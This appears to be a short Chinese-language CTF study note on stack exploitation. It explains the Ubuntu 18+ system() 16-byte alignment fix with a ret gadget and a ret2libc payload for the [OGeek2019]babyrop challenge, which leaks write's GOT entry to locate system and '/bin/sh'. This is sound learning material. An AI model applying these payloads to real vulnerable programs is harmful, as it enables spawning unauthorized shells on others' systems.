Ubuntu 18+ system() 堆栈平衡
Ubuntu 18+ 的 system
库函数要求 $rsp+0x40
满足16字节对齐
解决方案:若 system()
中 $rsp+0x40
未对齐,可以在 payload 的目标地址前加一个任意位置的 retn
的地址
b'a'*size + p64(retn_addr) + p64(system_addr)
参考博客:https://www.cnblogs.com/Rookle/p/12871878.html
ret2libc 暴露地址
如果 write
在 plt 表中,可利用它暴露一个 got 表中 libc 函数的实际地址
例题:[OGeek2019]babyrop
main_addr = 0x8048825
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = b'a'*235 + p32(write_plt) + p32(main_addr)
# 80487D0_ret write_ret
payload += p32(1) + p32(write_got) + p32(4)
# stdout got_addr size
p.sendline(payload)
write_addr = u32(p.recv(4))
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
shell_addr = base_addr + next(libc.search(b'/bin/sh\0'))
1 条评论